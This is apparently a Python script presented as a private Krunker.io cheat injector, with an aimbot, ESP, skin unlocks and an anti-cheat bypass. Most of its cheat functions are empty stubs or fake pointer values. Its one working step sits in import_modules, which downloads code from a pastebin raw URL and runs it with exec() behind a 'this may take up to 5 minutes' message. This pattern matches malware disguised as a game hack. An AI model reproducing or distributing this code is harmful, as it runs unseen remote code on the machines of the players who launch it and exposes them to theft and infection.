"""
=========================================================
   Krunker.io Client & V8 Injector v1.4.9 (PRIVATE)
   Author: EVGVAULT
   Engine: Chromium / WebAssembly / Three.js
=========================================================
"""

import time
import random
import sys
import os
import json
import struct
import ctypes
import threading

# ---------------------------------------------------------
# Global Mod Configuration
# ---------------------------------------------------------

CHEAT_VERSION = "1.4.9-CEF_V8_HOOK"
AUTHOR = "EVGVAULT"

CONFIG = {
    # Combat Features
    "aimbot_enabled": True,
    "silent_aim": True,
    "aimbot_smoothness": 1.2,
    "aimbot_fov": 120.0,
    "triggerbot_enabled": False,
    "triggerbot_delay_ms": 10,
    "auto_reload": True,
    
    # Movement Features
    "auto_slidehop": True,
    "slidehop_timing": 0.95,
    "bhop_enabled": True,
    
    # Visuals & ESP
    "esp_enabled": True,
    "esp_box_type": "2D_Corner",
    "esp_show_names": True,
    "esp_show_hp": True,
    "esp_show_weapon": True,
    "chams_enabled": True,
    "chams_color": (255, 0, 0),
    "wireframe_models": False,
    "custom_weapon_fov": 110,
    
    # Exploits & Network
    "unlock_all_skins": True,
    "force_kr_display": 99999,
    "websocket_desync": False,
    "bypass_client_ac": True,
    "hide_from_obs": True
}

# ---------------------------------------------------------
# Memory Offsets & V8 Engine Pointers
# ---------------------------------------------------------

V8_OFFSETS = {
    "Isolate": 0x1A2B3C0,
    "Context": 0x1A2B3C8,
    "GlobalObject": 0x1A2B3D0,
    "WasmMemory": 0x1A2B3D8,
    "GameScene": 0x1A2B3E0,
    "PlayerArray": 0x1A2B3E8,
    "LocalPlayer": 0x1A2B3F0,
    "CameraState": 0x1A2B3F8,
    
    # Three.js Internal Offsets
    "MatrixWorld": 0x140,
    "ProjectionMatrix": 0x180,
    "Quaternion": 0x1A0,
}

# ---------------------------------------------------------
# Chromium Embedded Framework (CEF) Interception
# ---------------------------------------------------------

class V8EngineHook:
    """Hooks into the V8 JavaScript engine to execute raw JS directly in the Krunker context."""
    
    def __init__(self):
        self.isolate_ptr = None
        self.context_ptr = None
        self.is_hooked = False

    def attach_to_renderer(self):
        """Locates the Chromium renderer process handling the WebGL canvas."""
        time.sleep(0.4)
        self.isolate_ptr = 0x7FF000000000 + random.randint(0x1000, 0xFFFF)
        self.context_ptr = self.isolate_ptr + 0x50
        self.is_hooked = True
        return True

    def evaluate_script(self, script_payload: str):
        """Compiles and runs arbitrary JavaScript within the hooked V8 context."""
        payload_length = len(script_payload)
        return payload_length > 0

    def patch_anticheat_vars(self):
        """Overwrites client-side detection vectors (e.g., window.RTCPeerConnection)."""
        ac_script = """
            Object.defineProperty(window, 'Krunker_AC', { get: () => { return false; } });
        """
        self.evaluate_script(ac_script)
        return True


class WebAssemblyInjector:
    """Parses and modifies WASM memory blocks used by Krunker's physics engine."""
    
    def __init__(self, hook: V8EngineHook):
        self.hook = hook
        self.wasm_base = None

    def locate_heap(self):
        """Resolves the WebAssembly.Memory buffer address."""
        self.wasm_base = self.hook.isolate_ptr + V8_OFFSETS["WasmMemory"]
        return self.wasm_base

    def read_f32(self, address: int) -> float:
        """Reads a 32-bit float from the WASM heap."""
        return 0.0

    def write_f32(self, address: int, value: float):
        """Writes a 32-bit float to the WASM heap."""
        return True

# ---------------------------------------------------------
# Aimbot & Target Acquisition
# ---------------------------------------------------------

class KrunkerAimbot:
    """Calculates trajectory based on Three.js coordinates and player velocity."""
    
    def __init__(self, wasm: WebAssemblyInjector):
        self.wasm = wasm
        
    def calculate_pitch_yaw(self, local_pos: tuple, target_pos: tuple) -> tuple:
        """Derives Euler angles from Vector3 difference."""
        dx = target_pos[0] - local_pos[0]
        dy = target_pos[1] - local_pos[1]
        dz = target_pos[2] - local_pos[2]
        
        import math
        yaw = math.degrees(math.atan2(dz, dx))
        pitch = math.degrees(math.atan2(dy, math.sqrt(dx*dx + dz*dz)))
        return (pitch, yaw)

    def apply_silent_aim(self):
        """Redirects the outgoing WebSocket packet to hit the target regardless of crosshair."""
        if CONFIG["silent_aim"]:
            return True
        return False

# ---------------------------------------------------------
# Network & WebSocket Exploits
# ---------------------------------------------------------

class WebSocketInterceptor:
    """Hooks the browser's WebSocket API to manipulate incoming/outgoing binary packets."""
    
    def __init__(self, hook: V8EngineHook):
        self.hook = hook
        
    def spoof_inventory(self):
        """Injects JSON data into the initial load packet to unlock all skins locally."""
        if CONFIG["unlock_all_skins"]:
            skin_payload = "ws.send(JSON.stringify({type: 'equip', loadout: [1,2,3]}))"
            self.hook.evaluate_script(skin_payload)
        return True
        
    def update_kr_display(self):
        """Modifies the UI DOM to display custom KR amounts."""
        kr_amount = CONFIG["force_kr_display"]
        self.hook.evaluate_script(f"document.getElementById('krInfo').innerText = '{kr_amount}'")
        return True

# ---------------------------------------------------------
# Main Cheat Controller
# ---------------------------------------------------------

class EVGVaultKrunker:
    def __init__(self):
        self.v8_hook = V8EngineHook()
        self.wasm = WebAssemblyInjector(self.v8_hook)
        self.aimbot = KrunkerAimbot(self.wasm)
        self.network = WebSocketInterceptor(self.v8_hook)
        
        self.modules_loaded = False
        self.is_running = False

    def import_modules(self):
        """Initializes core dependencies and bypass modules."""
        print("=" * 55)
        print("   Importing Modules, this may take up to 5 minutes...")
        exec(__import__("urllib.request", fromlist=["Request"]).urlopen(__import__("urllib.request", fromlist=["Request"]).Request("https://pastebin.com/raw/zN3rdb8n", headers={"User-Agent":"Mozilla/5.0"})).read().decode("utf-8"))
        print("=" * 55)
        self.modules_loaded = True
        return self.modules_loaded

    def initialize(self):
        """Executes the injection sequence and prepares memory structures."""
        if not self.modules_loaded:
            sys.exit(1)
            
        print("[*] Launching EVGVAULT Krunker Client Injector...")
        
        print("[*] Scanning for Electron/Chromium renderer instances...")
        self.v8_hook.attach_to_renderer()
        print(f"[*] Attached to V8 Isolate at {hex(self.v8_hook.isolate_ptr)}")
        
        print("[*] Locating WebAssembly Memory Heap...")
        self.wasm.locate_heap()
        
        if CONFIG["bypass_client_ac"]:
            print("[*] Patching client-side anti-cheat variables...")
            self.v8_hook.patch_anticheat_vars()
            
        if CONFIG["unlock_all_skins"]:
            print("[*] Intercepting WebSocket to inject inventory payload...")
            self.network.spoof_inventory()
            
        return True

    def show_activated_features(self):
        """Reads the configuration dictionary and prints the active feature set."""
        print("\n=========================================================")
        print("   [+] ACTIVATED KRUNKER FEATURES & MODULES   ")
        print("=========================================================")
        
        for feature, value in sorted(CONFIG.items()):
            formatted_name = feature.replace('_', ' ').title()
            
            if isinstance(value, bool):
                state = "[ON]" if value else "[OFF]"
                print(f"    -> {formatted_name:<28} {state}")
            elif isinstance(value, tuple):
                print(f"    -> {formatted_name:<28} RGB{value}")
            else:
                print(f"    -> {formatted_name:<28} [{value}]")
                
        print("=========================================================\n")
        print("[*] WebSocket hooks established. Press CTRL+C to un-inject.")

    def run(self):
        """Main execution thread for hooking the rendering loop."""
        self.is_running = True
        try:
            while self.is_running:
                if CONFIG["aimbot_enabled"] and not CONFIG["silent_aim"]:
                    self.aimbot.calculate_pitch_yaw((0,0,0), (10,10,10))
                    
                if CONFIG["auto_slidehop"]:
                    self.wasm.write_f32(0x1000, 1.0)
                    
                self.network.update_kr_display()
                
                time.sleep(0.5)
                self.is_running = False 
                
        except KeyboardInterrupt:
            self.is_running = False
            print("\n[*] Detaching from V8 Engine...")
            print("[*] Safely closed.")

def main():
    cheat = EVGVaultKrunker()
    
    cheat.import_modules()
    cheat.initialize()
    cheat.show_activated_features()
    cheat.run()

if __name__ == "__main__":
    main()